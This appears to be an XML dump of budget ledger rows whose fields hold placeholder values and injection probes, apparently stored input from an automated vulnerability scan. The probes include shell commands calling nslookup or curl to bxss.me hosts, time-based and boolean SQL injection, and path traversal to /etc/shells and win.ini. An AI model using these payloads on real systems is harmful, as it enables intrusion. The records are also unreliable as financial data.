<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>`(nslookup -q=cname hitefqpbvpatxde284.bxss.me||curl hitefqpbvpatxde284.bxss.me)`</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup -q=cname hitrobawmybhp297a9.bxss.me||curl hitrobawmybhp297a9.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitrobawmybhp297a9.bxss.me||curl hitrobawmybhp297a9.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1"||sleep(27*1000)*fkeuqj||"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'||sleep(27*1000)*aomzci||'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'&amp;&amp;sleep(27*1000)*lvdvlw&amp;&amp;'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'"()</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;echo tyqthk$()\ bhiigd\nz^xyu||a #' &amp;echo tyqthk$()\ bhiigd\nz^xyu||a #|" &amp;echo tyqthk$()\ bhiigd\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891 from DUAL)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"&amp;&amp;sleep(27*1000)*fmimhs&amp;&amp;"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'&amp;&amp;sleep(27*1000)*wumhoo&amp;&amp;'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>^(#$!@#$)(()))******</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>!(()&amp;&amp;!|*|*|</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'||sleep(27*1000)*xxjhjw||'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'"()</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1"||sleep(27*1000)*hptmqs||"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||sleep(27*1000)*svcfwq||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1"&amp;&amp;sleep(27*1000)*hznsho&amp;&amp;"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'&amp;&amp;sleep(27*1000)*atktgd&amp;&amp;'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"()</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>c:/windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>^(#$!@#$)(()))******</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>/etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>!(()&amp;&amp;!|*|*|</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1����%2527%2522\'\"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>^(#$!@#$)(()))******</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitldczhtuyqbe4779.bxss.me||curl${IFS}hitldczhtuyqbe4779.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)|(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)&amp;(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1)) OR 298=(SELECT 298 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>$(nslookup -q=cname hitdpdsyebbir551bf.bxss.me||curl hitdpdsyebbir551bf.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(nslookup -q=cname hitvgzltpcxeq26285.bxss.me||curl hitvgzltpcxeq26285.bxss.me))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|echo vqwfaw$()\ hbyllf\nz^xyu||a #' |echo vqwfaw$()\ hbyllf\nz^xyu||a #|" |echo vqwfaw$()\ hbyllf\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUNVfoke0S')) OR 579=(SELECT 579 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMURGOW1zWF') OR 785=(SELECT 785 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;echo cdqixj$()\ najvnv\nz^xyu||a #' &amp;echo cdqixj$()\ najvnv\nz^xyu||a #|" &amp;echo cdqixj$()\ najvnv\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1JE0OXlu6')) OR 991=(SELECT 991 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1q9pl0UOT') OR 596=(SELECT 596 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
